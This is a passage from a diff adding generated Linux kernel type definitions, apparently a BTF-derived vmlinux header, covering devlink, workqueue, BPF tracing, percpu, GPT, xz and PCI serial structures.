__data_loc_driver_name; + int err; + u32 __data_loc_msg; + char __data[0]; +}; + +struct trace_event_raw_devlink_health_report { + struct trace_entry ent; + u32 __data_loc_bus_name; + u32 __data_loc_dev_name; + u32 __data_loc_driver_name; + u32 __data_loc_reporter_name; + u32 __data_loc_msg; + char __data[0]; +}; + +struct trace_event_raw_devlink_health_recover_aborted { + struct trace_entry ent; + u32 __data_loc_bus_name; + u32 __data_loc_dev_name; + u32 __data_loc_driver_name; + u32 __data_loc_reporter_name; + bool health_state; + u64 time_since_last_recover; + char __data[0]; +}; + +struct trace_event_raw_devlink_health_reporter_state_update { + struct trace_entry ent; + u32 __data_loc_bus_name; + u32 __data_loc_dev_name; + u32 __data_loc_driver_name; + u32 __data_loc_reporter_name; + u8 new_state; + char __data[0]; +}; + +struct trace_event_raw_devlink_trap_report { + struct trace_entry ent; + u32 __data_loc_bus_name; + u32 __data_loc_dev_name; + u32 __data_loc_driver_name; + u32 __data_loc_trap_name; + u32 __data_loc_trap_group_name; + char input_dev_name[16]; + char __data[0]; +}; + +struct trace_event_data_offsets_devlink_hwmsg { + u32 bus_name; + u32 dev_name; + u32 driver_name; + u32 buf; +}; + +struct trace_event_data_offsets_devlink_hwerr { + u32 bus_name; + u32 dev_name; + u32 driver_name; + u32 msg; +}; + +struct trace_event_data_offsets_devlink_health_report { + u32 bus_name; + u32 dev_name; + u32 driver_name; + u32 reporter_name; + u32 msg; +}; + +struct trace_event_data_offsets_devlink_health_recover_aborted { + u32 bus_name; + u32 dev_name; + u32 driver_name; + u32 reporter_name; +}; + +struct trace_event_data_offsets_devlink_health_reporter_state_update { + u32 bus_name; + u32 dev_name; + u32 driver_name; + u32 reporter_name; +}; + +struct trace_event_data_offsets_devlink_trap_report { + u32 bus_name; + u32 dev_name; + u32 driver_name; + u32 trap_name; + u32 trap_group_name; +}; + +typedef void (*btf_trace_devlink_hwmsg)(void *, const struct devlink *, bool, long unsigned int, const u8 *, size_t); + +typedef void (*btf_trace_devlink_hwerr)(void *, const struct devlink *, int, const char *); + +typedef void (*btf_trace_devlink_health_report)(void *, const struct devlink *, const char *, const char *); + +typedef void (*btf_trace_devlink_health_recover_aborted)(void *, const struct devlink *, const char *, bool, u64); + +typedef void (*btf_trace_devlink_health_reporter_state_update)(void *, const struct devlink *, const char *, bool); + +typedef void (*btf_trace_devlink_trap_report)(void *, const struct devlink *, struct sk_buff *, const struct devlink_trap_metadata *); + +struct devlink_linecard_type { + const char *type; + const void *priv; +}; + +struct devlink_resource { + const char *name; + u64 id; + u64 size; + u64 size_new; + bool size_valid; + struct devlink_resource *parent; + struct devlink_resource_size_params size_params; + struct list_head list; + struct list_head resource_list; + devlink_resource_occ_get_t *occ_get; + void *occ_get_priv; +}; + +struct devlink_sb { + struct list_head list; + unsigned int index; + u32 size; + u16 ingress_pools_count; + u16 egress_pools_count; + u16 ingress_tc_count; + u16 egress_tc_count; +}; + +struct devlink_region { + struct devlink *devlink; + struct devlink_port *port; + struct list_head list; + union { + const struct devlink_region_ops *ops; + const struct devlink_port_region_ops *port_ops; + }; + struct mutex snapshot_lock; + struct list_head snapshot_list; + u32 max_snapshots; + u32 cur_snapshots; + u64 size; +}; + +struct devlink_snapshot { + struct list_head list; + struct devlink_region *region; + u8 *data; + u32 id; +}; + +typedef int devlink_chunk_fill_t(void *, u8 *, u32, u64, struct netlink_ext_ack *); + +struct devlink_stats { + u64_stats_t rx_bytes; + u64_stats_t rx_packets; + struct u64_stats_sync syncp; +}; + +struct devlink_trap_policer_item { + const struct devlink_trap_policer *policer; + u64 rate; + u64 burst; + struct list_head list; +}; + +struct devlink_trap_group_item { + const struct devlink_trap_group *group; + struct devlink_trap_policer_item *policer_item; + struct list_head list; + struct devlink_stats *stats; +}; + +struct devlink_trap_item { + const struct devlink_trap *trap; + struct devlink_trap_group_item *group_item; + struct list_head list; + enum devlink_trap_action action; + struct devlink_stats *stats; + void *priv; +}; + +struct x86_pmu_capability { + int version; + int num_counters_gp; + int num_counters_fixed; + int bit_width_gp; + int bit_width_fixed; + unsigned int events_mask; + int events_mask_len; + unsigned int pebs_ept: 1; +}; + +struct stack_frame { + struct stack_frame *next_frame; + long unsigned int return_address; +}; + +struct sched_state { + int weight; + int event; + int counter; + int unassigned; + int nr_gp; + u64 used; +}; + +struct perf_sched { + int max_weight; + int max_events; + int max_gp; + int saved_states; + struct event_constraint **constraints; + struct sched_state state; + struct sched_state saved[2]; +}; + +struct extended_signature { + unsigned int sig; + unsigned int pf; + unsigned int cksum; +}; + +struct extended_sigtable { + unsigned int count; + unsigned int cksum; + unsigned int reserved[3]; + struct extended_signature sigs[0]; +}; + +struct _tlb_table { + unsigned char descriptor; + char tlb_type; + unsigned int entries; + char info[128]; +}; + +enum split_lock_detect_state { + sld_off = 0, + sld_warn = 1, + sld_fatal = 2, + sld_ratelimit = 3, +}; + +struct sku_microcode { + u8 model; + u8 stepping; + u32 microcode; +}; + +struct wq_flusher; + +struct workqueue_attrs; + +struct wq_device; + +struct workqueue_struct { + struct list_head pwqs; + struct list_head list; + struct mutex mutex; + int work_color; + int flush_color; + atomic_t nr_pwqs_to_flush; + struct wq_flusher *first_flusher; + struct list_head flusher_queue; + struct list_head flusher_overflow; + struct list_head maydays; + struct worker *rescuer; + int nr_drainers; + int saved_max_active; + struct workqueue_attrs *unbound_attrs; + struct pool_workqueue *dfl_pwq; + struct wq_device *wq_dev; + char *lock_name; + struct lock_class_key key; + struct lockdep_map lockdep_map; + char name[24]; + struct callback_head rcu; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + unsigned int flags; + struct pool_workqueue *cpu_pwqs; + struct pool_workqueue *numa_pwq_tbl[0]; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; +}; + +struct workqueue_attrs { + int nice; + cpumask_var_t cpumask; + bool no_numa; +}; + +struct pool_workqueue { + struct worker_pool *pool; + struct workqueue_struct *wq; + int work_color; + int flush_color; + int refcnt; + int nr_in_flight[16]; + int nr_active; + int max_active; + struct list_head inactive_works; + struct list_head pwqs_node; + struct list_head mayday_node; + struct work_struct unbound_release_work; + struct callback_head rcu; + long: 64; + long: 64; +}; + +struct worker_pool { + raw_spinlock_t lock; + int cpu; + int node; + int id; + unsigned int flags; + long unsigned int watchdog_ts; + bool cpu_stall; + int nr_running; + struct list_head worklist; + int nr_workers; + int nr_idle; + struct list_head idle_list; + struct timer_list idle_timer; + struct work_struct idle_cull_work; + struct timer_list mayday_timer; + struct hlist_head busy_hash[64]; + struct worker *manager; + struct list_head workers; + struct list_head dying_workers; + struct completion *detach_completion; + struct ida worker_ida; + struct workqueue_attrs *attrs; + struct hlist_node hash_node; + int refcnt; + struct callback_head rcu; +}; + +enum { + POOL_MANAGER_ACTIVE = 1, + POOL_DISASSOCIATED = 4, + WORKER_DIE = 2, + WORKER_IDLE = 4, + WORKER_PREP = 8, + WORKER_CPU_INTENSIVE = 64, + WORKER_UNBOUND = 128, + WORKER_REBOUND = 256, + WORKER_NOT_RUNNING = 456, + NR_STD_WORKER_POOLS = 2, + UNBOUND_POOL_HASH_ORDER = 6, + BUSY_WORKER_HASH_ORDER = 6, + MAX_IDLE_WORKERS_RATIO = 4, + IDLE_WORKER_TIMEOUT = 300000, + MAYDAY_INITIAL_TIMEOUT = 10, + MAYDAY_INTERVAL = 100, + CREATE_COOLDOWN = 1000, + RESCUER_NICE_LEVEL = -20, + HIGHPRI_NICE_LEVEL = -20, + WQ_NAME_LEN = 24, +}; + +struct wq_flusher { + struct list_head list; + int flush_color; + struct completion done; +}; + +struct wq_device { + struct workqueue_struct *wq; + struct device dev; +}; + +struct trace_event_raw_workqueue_queue_work { + struct trace_entry ent; + void *work; + void *function; + u32 __data_loc_workqueue; + int req_cpu; + int cpu; + char __data[0]; +}; + +struct trace_event_raw_workqueue_activate_work { + struct trace_entry ent; + void *work; + char __data[0]; +}; + +struct trace_event_raw_workqueue_execute_start { + struct trace_entry ent; + void *work; + void *function; + char __data[0]; +}; + +struct trace_event_raw_workqueue_execute_end { + struct trace_entry ent; + void *work; + void *function; + char __data[0]; +}; + +struct trace_event_data_offsets_workqueue_queue_work { + u32 workqueue; +}; + +struct trace_event_data_offsets_workqueue_activate_work {}; + +struct trace_event_data_offsets_workqueue_execute_start {}; + +struct trace_event_data_offsets_workqueue_execute_end {}; + +typedef void (*btf_trace_workqueue_queue_work)(void *, int, struct pool_workqueue *, struct work_struct *); + +typedef void (*btf_trace_workqueue_activate_work)(void *, struct work_struct *); + +typedef void (*btf_trace_workqueue_execute_start)(void *, struct work_struct *); + +typedef void (*btf_trace_workqueue_execute_end)(void *, struct work_struct *, work_func_t); + +struct wq_barrier { + struct work_struct work; + struct completion done; + struct task_struct *task; +}; + +struct cwt_wait { + wait_queue_entry_t wait; + struct work_struct *work; +}; + +struct apply_wqattrs_ctx { + struct workqueue_struct *wq; + struct workqueue_attrs *attrs; + struct list_head list; + struct pool_workqueue *dfl_pwq; + struct pool_workqueue *pwq_tbl[0]; +}; + +struct pr_cont_work_struct { + bool comma; + work_func_t func; + long int ctr; +}; + +struct work_for_cpu { + struct work_struct work; + long int (*fn)(void *); + void *arg; + long int ret; +}; + +enum { + BPF_F_GET_BRANCH_RECORDS_SIZE = 1, +}; + +struct bpf_perf_event_value { + __u64 counter; + __u64 enabled; + __u64 running; +}; + +struct bpf_raw_tracepoint_args { + __u64 args[0]; +}; + +struct btf_ptr { + void *ptr; + __u32 type_id; + __u32 flags; +}; + +enum { + BTF_F_COMPACT = 1, + BTF_F_NONAME = 2, + BTF_F_PTR_RAW = 4, + BTF_F_ZERO = 8, +}; + +typedef long unsigned int (*bpf_ctx_copy_t)(void *, const void *, long unsigned int, long unsigned int); + +struct bpf_key { + struct key *key; + bool has_ref; +}; + +struct bpf_perf_event_data { + bpf_user_pt_regs_t regs; + __u64 sample_period; + __u64 addr; +}; + +struct perf_event_query_bpf { + __u32 ids_len; + __u32 prog_cnt; + __u32 ids[0]; +}; + +struct fprobe { + struct ftrace_ops ops; + long unsigned int nmissed; + unsigned int flags; + struct rethook *rethook; + size_t entry_data_size; + int nr_maxactive; + int (*entry_handler)(struct fprobe *, long unsigned int, struct pt_regs *, void *); + void (*exit_handler)(struct fprobe *, long unsigned int, struct pt_regs *, void *); +}; + +struct trace_event_raw_bpf_trace_printk { + struct trace_entry ent; + u32 __data_loc_bpf_string; + char __data[0]; +}; + +struct trace_event_data_offsets_bpf_trace_printk { + u32 bpf_string; +}; + +typedef void (*btf_trace_bpf_trace_printk)(void *, const char *); + +struct bpf_trace_module { + struct module *module; + struct list_head list; +}; + +typedef u64 (*btf_bpf_override_return)(struct pt_regs *, long unsigned int); + +typedef u64 (*btf_bpf_probe_read_user)(void *, u32, const void *); + +typedef u64 (*btf_bpf_probe_read_user_str)(void *, u32, const void *); + +typedef u64 (*btf_bpf_probe_read_kernel)(void *, u32, const void *); + +typedef u64 (*btf_bpf_probe_read_kernel_str)(void *, u32, const void *); + +typedef u64 (*btf_bpf_probe_read_compat)(void *, u32, const void *); + +typedef u64 (*btf_bpf_probe_read_compat_str)(void *, u32, const void *); + +typedef u64 (*btf_bpf_probe_write_user)(void *, const void *, u32); + +typedef u64 (*btf_bpf_trace_printk)(char *, u32, u64, u64, u64); + +typedef u64 (*btf_bpf_trace_vprintk)(char *, u32, const void *, u32); + +typedef u64 (*btf_bpf_seq_printf)(struct seq_file *, char *, u32, const void *, u32); + +typedef u64 (*btf_bpf_seq_write)(struct seq_file *, const void *, u32); + +typedef u64 (*btf_bpf_seq_printf_btf)(struct seq_file *, struct btf_ptr *, u32, u64); + +typedef u64 (*btf_bpf_perf_event_read)(struct bpf_map *, u64); + +typedef u64 (*btf_bpf_perf_event_read_value)(struct bpf_map *, u64, struct bpf_perf_event_value *, u32); + +struct bpf_trace_sample_data { + struct perf_sample_data sds[3]; +}; + +typedef u64 (*btf_bpf_perf_event_output)(struct pt_regs *, struct bpf_map *, u64, void *, u64); + +struct bpf_nested_pt_regs { + struct pt_regs regs[3]; +}; + +typedef u64 (*btf_bpf_get_current_task)(); + +typedef u64 (*btf_bpf_get_current_task_btf)(); + +typedef u64 (*btf_bpf_task_pt_regs)(struct task_struct *); + +typedef u64 (*btf_bpf_current_task_under_cgroup)(struct bpf_map *, u32); + +struct send_signal_irq_work { + struct irq_work irq_work; + struct task_struct *task; + u32 sig; + enum pid_type type; +}; + +typedef u64 (*btf_bpf_send_signal)(u32); + +typedef u64 (*btf_bpf_send_signal_thread)(u32); + +typedef u64 (*btf_bpf_d_path)(struct path *, char *, u32); + +typedef u64 (*btf_bpf_snprintf_btf)(char *, u32, struct btf_ptr *, u32, u64); + +typedef u64 (*btf_bpf_get_func_ip_tracing)(void *); + +typedef u64 (*btf_bpf_get_func_ip_kprobe)(struct pt_regs *); + +typedef u64 (*btf_bpf_get_func_ip_kprobe_multi)(struct pt_regs *); + +typedef u64 (*btf_bpf_get_attach_cookie_kprobe_multi)(struct pt_regs *); + +typedef u64 (*btf_bpf_get_attach_cookie_trace)(void *); + +typedef u64 (*btf_bpf_get_attach_cookie_pe)(struct bpf_perf_event_data_kern *); + +typedef u64 (*btf_bpf_get_attach_cookie_tracing)(void *); + +typedef u64 (*btf_bpf_get_branch_snapshot)(void *, u32, u64); + +typedef u64 (*btf_get_func_arg)(void *, u32, u64 *); + +typedef u64 (*btf_get_func_ret)(void *, u64 *); + +typedef u64 (*btf_get_func_arg_cnt)(void *); + +typedef u64 (*btf_bpf_perf_event_output_tp)(void *, struct bpf_map *, u64, void *, u64); + +typedef u64 (*btf_bpf_get_stackid_tp)(void *, struct bpf_map *, u64); + +typedef u64 (*btf_bpf_get_stack_tp)(void *, void *, u32, u64); + +typedef u64 (*btf_bpf_perf_prog_read_value)(struct bpf_perf_event_data_kern *, struct bpf_perf_event_value *, u32); + +typedef u64 (*btf_bpf_read_branch_records)(struct bpf_perf_event_data_kern *, void *, u32, u64); + +struct bpf_raw_tp_regs { + struct pt_regs regs[3]; +}; + +typedef u64 (*btf_bpf_perf_event_output_raw_tp)(struct bpf_raw_tracepoint_args *, struct bpf_map *, u64, void *, u64); + +typedef u64 (*btf_bpf_get_stackid_raw_tp)(struct bpf_raw_tracepoint_args *, struct bpf_map *, u64); + +typedef u64 (*btf_bpf_get_stack_raw_tp)(struct bpf_raw_tracepoint_args *, void *, u32, u64); + +struct bpf_kprobe_multi_link { + struct bpf_link link; + struct fprobe fp; + long unsigned int *addrs; + u64 *cookies; + u32 cnt; + u32 mods_cnt; + struct module **mods; +}; + +struct bpf_kprobe_multi_run_ctx { + struct bpf_run_ctx run_ctx; + struct bpf_kprobe_multi_link *link; + long unsigned int entry_ip; +}; + +struct user_syms { + const char **syms; + char *buf; +}; + +struct multi_symbols_sort { + const char **funcs; + u64 *cookies; +}; + +struct modules_array { + struct module **mods; + int mods_cnt; + int mods_cap; +}; + +struct pcpu_group_info { + int nr_units; + long unsigned int base_offset; + unsigned int *cpu_map; +}; + +struct pcpu_alloc_info { + size_t static_size; + size_t reserved_size; + size_t dyn_size; + size_t unit_size; + size_t atom_size; + size_t alloc_size; + size_t __ai_size; + int nr_groups; + struct pcpu_group_info groups[0]; +}; + +typedef int pcpu_fc_cpu_to_node_fn_t(int); + +typedef int pcpu_fc_cpu_distance_fn_t(unsigned int, unsigned int); + +struct trace_event_raw_percpu_alloc_percpu { + struct trace_entry ent; + long unsigned int call_site; + bool reserved; + bool is_atomic; + size_t size; + size_t align; + void *base_addr; + int off; + void *ptr; + size_t bytes_alloc; + long unsigned int gfp_flags; + char __data[0]; +}; + +struct trace_event_raw_percpu_free_percpu { + struct trace_entry ent; + void *base_addr; + int off; + void *ptr; + char __data[0]; +}; + +struct trace_event_raw_percpu_alloc_percpu_fail { + struct trace_entry ent; + bool reserved; + bool is_atomic; + size_t size; + size_t align; + char __data[0]; +}; + +struct trace_event_raw_percpu_create_chunk { + struct trace_entry ent; + void *base_addr; + char __data[0]; +}; + +struct trace_event_raw_percpu_destroy_chunk { + struct trace_entry ent; + void *base_addr; + char __data[0]; +}; + +struct trace_event_data_offsets_percpu_alloc_percpu {}; + +struct trace_event_data_offsets_percpu_free_percpu {}; + +struct trace_event_data_offsets_percpu_alloc_percpu_fail {}; + +struct trace_event_data_offsets_percpu_create_chunk {}; + +struct trace_event_data_offsets_percpu_destroy_chunk {}; + +typedef void (*btf_trace_percpu_alloc_percpu)(void *, long unsigned int, bool, bool, size_t, size_t, void *, int, void *, size_t, gfp_t); + +typedef void (*btf_trace_percpu_free_percpu)(void *, void *, int, void *); + +typedef void (*btf_trace_percpu_alloc_percpu_fail)(void *, bool, bool, size_t, size_t); + +typedef void (*btf_trace_percpu_create_chunk)(void *, void *); + +typedef void (*btf_trace_percpu_destroy_chunk)(void *, void *); + +struct pcpu_block_md { + int scan_hint; + int scan_hint_start; + int contig_hint; + int contig_hint_start; + int left_free; + int right_free; + int first_free; + int nr_bits; +}; + +struct pcpu_chunk { + struct list_head list; + int free_bytes; + struct pcpu_block_md chunk_md; + void *base_addr; + long unsigned int *alloc_map; + long unsigned int *bound_map; + struct pcpu_block_md *md_blocks; + void *data; + bool immutable; + bool isolated; + int start_offset; + int end_offset; + struct obj_cgroup **obj_cgroups; + int nr_pages; + int nr_populated; + int nr_empty_pop_pages; + long unsigned int populated[0]; +}; + +struct nodemask_scratch { + nodemask_t mask1; + nodemask_t mask2; +}; + +struct sp_node { + struct rb_node nd; + long unsigned int start; + long unsigned int end; + struct mempolicy *policy; +}; + +struct mempolicy_operations { + int (*create)(struct mempolicy *, const nodemask_t *); + void (*rebind)(struct mempolicy *, const nodemask_t *); +}; + +struct queue_pages { + struct list_head *pagelist; + long unsigned int flags; + nodemask_t *nmask; + long unsigned int start; + long unsigned int end; + struct vm_area_struct *first; +}; + +struct user_arg_ptr { + union { + const char * const *native; + } ptr; +}; + +struct file_handle { + __u32 handle_bytes; + int handle_type; + unsigned char f_handle[0]; +}; + +struct sysctl_alias { + const char *kernel_param; + const char *sysctl_param; +}; + +struct ext4_orphan_block_tail { + __le32 ob_magic; + __le32 ob_checksum; +}; + +enum ima_fs_flags { + IMA_FS_BUSY = 0, +}; + +struct pkcs7_parse_context { + struct pkcs7_message *msg; + struct pkcs7_signed_info *sinfo; + struct pkcs7_signed_info **ppsinfo; + struct x509_certificate *certs; + struct x509_certificate **ppcerts; + long unsigned int data; + enum OID last_oid; + unsigned int x509_index; + unsigned int sinfo_index; + const void *raw_serial; + unsigned int raw_serial_size; + unsigned int raw_issuer_size; + const void *raw_issuer; + const void *raw_skid; + unsigned int raw_skid_size; + bool expect_skid; +}; + +struct _gpt_header { + __le64 signature; + __le32 revision; + __le32 header_size; + __le32 header_crc32; + __le32 reserved1; + __le64 my_lba; + __le64 alternate_lba; + __le64 first_usable_lba; + __le64 last_usable_lba; + efi_guid_t disk_guid; + __le64 partition_entry_lba; + __le32 num_partition_entries; + __le32 sizeof_partition_entry; + __le32 partition_entry_array_crc32; +} __attribute__((packed)); + +typedef struct _gpt_header gpt_header; + +struct _gpt_entry_attributes { + u64 required_to_function: 1; + u64 reserved: 47; + u64 type_guid_specific: 16; +}; + +typedef struct _gpt_entry_attributes gpt_entry_attributes; + +struct _gpt_entry { + efi_guid_t partition_type_guid; + efi_guid_t unique_partition_guid; + __le64 starting_lba; + __le64 ending_lba; + gpt_entry_attributes attributes; + __le16 partition_name[36]; +}; + +typedef struct _gpt_entry gpt_entry; + +struct _gpt_mbr_record { + u8 boot_indicator; + u8 start_head; + u8 start_sector; + u8 start_track; + u8 os_type; + u8 end_head; + u8 end_sector; + u8 end_track; + __le32 starting_lba; + __le32 size_in_lba; +}; + +typedef struct _gpt_mbr_record gpt_mbr_record; + +struct _legacy_mbr { + u8 boot_code[440]; + __le32 unique_mbr_signature; + __le16 unknown; + gpt_mbr_record partition_record[4]; + __le16 signature; +} __attribute__((packed)); + +typedef struct _legacy_mbr legacy_mbr; + +struct sg_append_table { + struct sg_table sgt; + struct scatterlist *prv; + unsigned int total_nents; +}; + +typedef struct scatterlist *sg_alloc_fn(unsigned int, gfp_t); + +typedef void sg_free_fn(struct scatterlist *, unsigned int); + +struct sg_dma_page_iter { + struct sg_page_iter base; +}; + +typedef uint64_t vli_type; + +enum xz_check { + XZ_CHECK_NONE = 0, + XZ_CHECK_CRC32 = 1, + XZ_CHECK_CRC64 = 4, + XZ_CHECK_SHA256 = 10, +}; + +struct xz_dec_hash { + vli_type unpadded; + vli_type uncompressed; + uint32_t crc32; +}; + +struct xz_dec_bcj; + +struct xz_dec { + enum { + SEQ_STREAM_HEADER = 0, + SEQ_BLOCK_START = 1, + SEQ_BLOCK_HEADER = 2, + SEQ_BLOCK_UNCOMPRESS = 3, + SEQ_BLOCK_PADDING = 4, + SEQ_BLOCK_CHECK = 5, + SEQ_INDEX = 6, + SEQ_INDEX_PADDING = 7, + SEQ_INDEX_CRC32 = 8, + SEQ_STREAM_FOOTER = 9, + } sequence; + uint32_t pos; + vli_type vli; + size_t in_start; + size_t out_start; + uint32_t crc32; + enum xz_check check_type; + enum xz_mode mode; + bool allow_buf_error; + struct { + vli_type compressed; + vli_type uncompressed; + uint32_t size; + } block_header; + struct { + vli_type compressed; + vli_type uncompressed; + vli_type count; + struct xz_dec_hash hash; + } block; + struct { + enum { + SEQ_INDEX_COUNT = 0, + SEQ_INDEX_UNPADDED = 1, + SEQ_INDEX_UNCOMPRESSED = 2, + } sequence; + vli_type size; + vli_type count; + struct xz_dec_hash hash; + } index; + struct { + size_t pos; + size_t size; + uint8_t buf[1024]; + } temp; + struct xz_dec_lzma2 *lzma2; + struct xz_dec_bcj *bcj; + bool bcj_active; +}; + +union handle_parts { + depot_stack_handle_t handle; + struct { + u32 pool_index: 16; + u32 offset: 10; + u32 valid: 1; + u32 extra: 5; + }; +}; + +struct stack_record { + struct stack_record *next; + u32 hash; + u32 size; + union handle_parts handle; + long unsigned int entries[0]; +}; + +struct logo_data { + int depth; + int needs_directpalette; + int needs_truepalette; + int needs_cmapreset; + const struct linux_logo *logo; +}; + +struct acpi_dev_walk_context { + int (*fn)(struct acpi_device *, void *); + void *data; +}; + +struct acpi_prmt_module_info { + u16 revision; + u16 length; + u8 module_guid[16]; + u16 major_rev; + u16 minor_rev; + u16 handler_info_count; + u32 handler_info_offset; + u64 mmio_list_pointer; +} __attribute__((packed)); + +struct acpi_prmt_handler_info { + u16 revision; + u16 length; + u8 handler_guid[16]; + u64 handler_address; + u64 static_data_buffer_address; + u64 acpi_param_buffer_address; +} __attribute__((packed)); + +struct prm_mmio_addr_range { + u64 phys_addr; + u64 virt_addr; + u32 length; +} __attribute__((packed)); + +struct prm_mmio_info { + u64 mmio_count; + struct prm_mmio_addr_range addr_ranges[0]; +}; + +struct prm_buffer { + u8 prm_status; + u64 efi_status; + u8 prm_cmd; + guid_t handler_guid; +} __attribute__((packed)); + +struct prm_context_buffer { + char signature[4]; + u16 revision; + u16 reserved; + guid_t identifier; + u64 static_data_buffer; + struct prm_mmio_info *mmio_ranges; +}; + +struct prm_handler_info { + guid_t guid; + void *handler_addr; + u64 static_data_buffer_addr; + u64 acpi_param_buffer_addr; + struct list_head handler_list; +}; + +struct prm_module_info { + guid_t guid; + u16 major_rev; + u16 minor_rev; + u16 handler_count; + struct prm_mmio_info *mmio_info; + bool updatable; + struct list_head module_list; + struct prm_handler_info handlers[0]; +}; + +struct acpi_device_walk_info { + struct acpi_table_desc *table_desc; + struct acpi_evaluate_info *evaluate_info; + u32 device_count; + u32 num_STA; + u32 num_INI; +}; + +struct acpi_table_cdat { + u32 length; + u8 revision; + u8 checksum; + u8 reserved[6]; + u32 sequence; +}; + +struct n_tty_data { + size_t read_head; + size_t commit_head; + size_t canon_head; + size_t echo_head; + size_t echo_commit; + size_t echo_mark; + long unsigned int char_map[4]; + long unsigned int overrun_time; + int num_overrun; + bool no_room; + unsigned char lnext: 1; + unsigned char erasing: 1; + unsigned char raw: 1; + unsigned char real_raw: 1; + unsigned char icanon: 1; + unsigned char push: 1; + char read_buf[4096]; + long unsigned int read_flags[64]; + unsigned char echo_buf[4096]; + size_t read_tail; + size_t line_start; + size_t lookahead_count; + unsigned int column; + unsigned int canon_column; + size_t echo_tail; + struct mutex atomic_read_lock; + struct mutex output_lock; +}; + +enum { + ERASE = 0, + WERASE = 1, + KILL = 2, +}; + +struct pciserial_board { + unsigned int flags; + unsigned int num_ports; + unsigned int base_baud; + unsigned int uart_offset; + unsigned int reg_shift; + unsigned int first_offset; +}; + +struct serial_private; + +struct pci_serial_quirk { + u32 vendor; + u32 device; + u32 subvendor; + u32 subdevice; + int (*probe)(struct pci_dev *); + int (*init)(struct pci_dev *); + int (*setup)(struct serial_private *, const struct pciserial_board *, struct uart_8250_port *, int); + void (*exit)(struct pci_dev *); +}; + +struct serial_private { + struct pci_dev *dev; + unsigned int nr; + struct pci_serial_quirk *quirk; + const struct pciserial_board *board; + int line[0]; +}; + +struct f815xxa_data { + spinlock_t lock; + int idx; +}; + +struct timedia_struct { + int num; + const short unsigned int *ids; +}; + +enum pci_board_num_t { + pbn_default = 0, + pbn_b0_1_115200 = 1, + pbn_b0_2_115200 = 2, + pbn_b0_4_115200 = 3, + pbn_b0_5_115200 = 4, + pbn_b0_8_115200 = 5, + pbn_b0_1_921600 = 6, + pbn_b0_2_921600 = 7, + pbn_b0_4_921600 = 8, + pbn_b0_2_1130000 = 9, + pbn_b0_4_1152000 = 10, + pbn_b0_4_1250000 = 11, + pbn_b0_2_1843200 = 12, + pbn_b0_4_1843200 = 13, + pbn_b0_1_15625000 = 14, + pbn_b0_bt_1_115200 = 15, + pbn_b0_bt_2_115200 = 16, + pbn_b0_bt_4_115200 = 17, + pbn_b0_bt_8_115200 = 18, + pbn_b0_bt_1_460800 = 19, + pbn_b0_bt_2_460800 = 20, + pbn_b0_bt_4_460800 = 21, + pbn_b0_bt_1_921600 = 22, + pbn_b0_bt_2_921600 = 23, + pbn_b0_bt_4_921600 = 24, + pbn_b0_bt_8_921600 = 25, + pbn_b1_1_115200 = 26, + pbn_b1_2_115200 = 27, + pbn_b1_4_115200 = 28, + pbn_b1_8_115200 = 29, + pbn_b1_16_115200 = 30, + pbn_b1_1_921600 = 31, + pbn_b1_2_921600 = 32, + pbn_b1_4_921600 = 33, + pbn_b1_8_921600 = 34, + pbn_b1_2_1250000 = 35, + pbn_b1_bt_1_115200 = 36, + pbn_b1_bt_2_115200 = 37, + pbn_b1_bt_4_115200 = 38, + pbn_b1_bt_2_921600 = 39, + pbn_b1_1_1382400 = 40, + pbn_b1_2_1382400 = 41, + pbn_b1_4_1382400 = 42, + pbn_b1_8_1382400 = 43, + pbn_b2_1_115200 = 44, + pbn_b2_2_115200 = 45, + pbn_b2_4_115200 = 46, + pbn_b2_8_115200 = 47, + pbn_b2_1_460800 = 48, + pbn_b2_4_460800 = 49, + pbn_b2_8_460800 = 50, + pbn_b2_16_460800 = 51, + pbn_b2_1_921600 = 52, + pbn_b2_4_921600 = 53, + pbn_b2_8_921600 = 54, + pbn_b2_8_1152000 = 55, + pbn_b2_bt_1_115200 = 56, + pbn_b2_bt_2_115200 = 57, + pbn_b2_bt_4_115200 = 58, + pbn_b2_bt_2_921600 = 59, + pbn_b2_bt_4_921600 = 60, + pbn_b3_2_115200 = 61, + pbn_b3_4_115200 = 62, + pbn_b3_8_115200 = 63, + pbn_b4_bt_2_921600 = 64, + pbn_b4_bt_4_921600 = 65, + pbn_b4_bt_8_921600 = 66, + pbn_panacom = 67, + pbn_panacom2 = 68, + pbn_panacom4 = 69, + pbn_plx_romulus = 70, + pbn_oxsemi = 71, + pbn_oxsemi_1_15625000 = 72, + pbn_oxsemi_2_15625000 = 73, + pbn_oxsemi_4_15625000 = 74, + pbn_oxsemi_8_15625000 = 75, + pbn_intel_i960 = 76, + pbn_sgi_ioc3 = 77, + pbn_computone_4 = 78, + pbn_computone_6 = 79, + pbn_computone_8 = 80, + pbn_sbsxrsio = 81, + pbn_pasemi_1682M = 82, + pbn_ni8430_2 = 83, + pbn_ni8430_4 = 84, + pbn_ni8430_8 = 85, + pbn_ni8430_16 = 86, + pbn_ADDIDATA_PCIe_1_3906250 = 87, + pbn_ADDIDATA_PCIe_2_3906250 = 88, + pbn_ADDIDATA_PCIe_4_3906250 = 89, + pbn_ADDIDATA_PCIe_8_3906250 = 90, + pbn_ce4100_1_115200 = 91, + pbn_omegapci = 92, + pbn_NETMOS9900_2s_115200 = 93, + pbn_brcm_trumanage = 94, + pbn_fintek_4 = 95, + pbn_fintek_8 = 96, + pbn_fintek_12 = 97, + pbn_fintek_F81504A = 98, + pbn_fintek_F81508A = 99, + pbn_fintek_F81512A = 100, + pbn_wch382_2 = 101, + pbn_wch384_4 = 102, + pbn_wch384_8 = 103, + pbn_sunix_pci_1s = 104, + pbn_sunix_pci_2s = 105, + pbn_sunix_pci_4s = 106, + pbn_sunix_pci_8s = 107, + pbn_sunix_pci_16s = 108, + pbn_titan_1_4000000 = 109, + pbn_titan_2_4000000 = 110, + pbn_titan_4_4000000 = 111, + pbn_titan_8_4000000 = 112, + pbn_moxa8250_2p = 113, + pbn_moxa8250_4p = 114, + pbn_moxa8250_8p = 115, +}; + +enum crb_defaults { + CRB_ACPI_START_REVISION_ID = 1, + CRB_ACPI_START_INDEX = 1, +}; + +enum crb_loc_ctrl { + CRB_LOC_CTRL_REQUEST_ACCESS = 1, + CRB_LOC_CTRL_RELINQUISH = 2, +}; + +enum crb_loc_state { + CRB_LOC_STATE_LOC_ASSIGNED = 2, + CRB_LOC_STATE_TPM_REG_VALID_STS = 128, +}; + +enum crb_ctrl_req { + CRB_CTRL_REQ_CMD_READY = 1, + 